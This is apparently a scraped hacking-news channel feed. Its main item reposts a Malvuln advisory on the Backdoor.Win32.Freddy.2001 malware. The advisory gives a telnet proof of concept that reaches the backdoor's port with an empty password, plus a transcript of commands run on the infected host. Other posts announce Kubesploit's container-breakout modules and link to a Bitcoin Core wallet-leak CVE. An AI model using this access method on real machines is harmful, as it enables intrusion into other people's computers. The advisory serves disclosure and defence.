Hacking Articles Tips Tricks Videos Tutorials

6 viewsedited 18:43

Exploit Collector
Backdoor.Win32.Freddy.2001 Authentication Bypass / Command Execution

https://1.bp.blogspot.com/-5p3p8L1fqP0/WWlvePVRIQI/AAAAAAAAIPs/HQNau6TSJkE3hBLTqqPcfPLddrlr7m4uACLcBGAs/s1600/h81.png
Backdoor.Win32.Freddy.2001 malware suffers from authentication bypass and remote command execution vulnerabilities.

MD5 | 54284610e15226f65a002ea1d5c32d82

Download

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/434923afc32a7bc7355ed9a5224b9273.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Freddy.2001
Vulnerability: Authentication Bypass Command Execution
Description: The malware listens on TCP port 19535. Third-party intruders who can reach an infected host can gain access using an empty password and run commands made available by the backdoor using TELNET.
Type: PE32
MD5: 434923afc32a7bc7355ed9a5224b9273
Vuln ID: MVID-2022-0486
Dropped files: sycon2.exe
Disclosure: 02/08/2022

Exploit/PoC:
#Note: use TELNET

telnet.exe x.x.x.x 19535

Enter password:

User:               Victim 
Computer net name:  DESKTOP-2C3JQHO
IP address:         192.168.18.129
Local date & time:  2/3/2022 2:45:46 AM
Hackers connected:  2
$y(0n v.2.3.2 by Meerkat Systems | NLG
Sycon>
Sycon> windows 
Window 6976: dump 
Window 6976: tmp 
Window 1956: Administrator: Administrator Command Prompt 
Window 6976: Program Manager 
Sycon> cd \ 
CD: C:\ 
Sycon> dir 
Found: $Recycle.Bin 
Found: Boot 
Found: bootmgr 
Found: BOOTNXT 
etc...
Sycon> exec calc 
Executing... 
Sycon> logoff 
Windows is going down... 
I'm killed! 
Sycon>
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Backdoor.Win32.Freddy.2001 Authentication Bypass / Command Execution

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 18:43

Hacking Articles Tips Tricks Videos Tutorials

9 views18:57

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
CVE-2019-15947 Bitcoin Core Crash Dumps Contain Wallets Whitepaper

https://external-preview.redd.it/Ya0yiPg-RmCPJG_3gsQkJ2pPrusY0F2AlNX9DxifvbY.jpg?width=216&crop=smart&auto=webp&s=6772d9f917bd584c804736c881055e3bc7c976fb submitted by /u/oxagast
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

CVE-2019-15947 Bitcoin Core Crash Dumps Contain Wallets Whitepaper

Posted in r/hacking by u/oxagast • 1 point and 0 comments

8 viewsedited 18:58

Hacking Articles Tips Tricks Videos Tutorials

7 views18:58

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
New release of 🔥Kubesploit v0.1.3🔥

I am happy 😀 to announce for the release of 🚀 Kubesploit v0.1.3 🚀!

🔥What's new🔥:
- New modules:
1. Container breakout using cGroup
2. Container breakout using kernel module
3. Deepce integration for scanning vulnerable docker containers
4. Module scanner that will show you what exploit you can use on the container
5. Bugfixes

Thanks to our contributors, and I also encourage you to check it and if you have any suggestion how to improve we would be happy to hear 😀.

You can find it here:
https://github.com/cyberark/kubesploit

Release Notes:
https://github.com/cyberark/kubesploit/releases

submitted by /u/jat0369
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

New release of 🔥Kubesploit v0.1.3🔥

I am happy 😀 to announce for the release of 🚀 Kubesploit v0.1.3 🚀! 🔥What's new🔥: \- New modules: 1. Container breakout using cGroup 2....

8 viewsedited 18:58

Hacking Articles Tips Tricks Videos Tutorials

10 views18:58

Hacking Articles Tips Tricks Videos Tutorials

https://preview.redd.it/j256gx8b5ug81.png?width=640&crop=smart&auto=webp&s=164ad13fd21193dbb6ea2b78468c287b08ed0816 submitted by /u/DrinkMoreCodeMore
[link] [comments]

10 views18:58

Hacking Articles Tips Tricks Videos Tutorials

Photo

hacking: security in practice
Russia arrests third hacking group, reportedly seizes carding forums

https://external-preview.redd.it/0rIiLRJPnlR5AMnxmTzN5Vy8sf0aZqBwXCCPl8DJZQg.jpg?width=640&crop=smart&auto=webp&s=bb02a89cc52d843ea4550db45bdbd24deeb88340 submitted by /u/DrinkMoreCodeMore
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Russia arrests third hacking group, reportedly seizes carding forums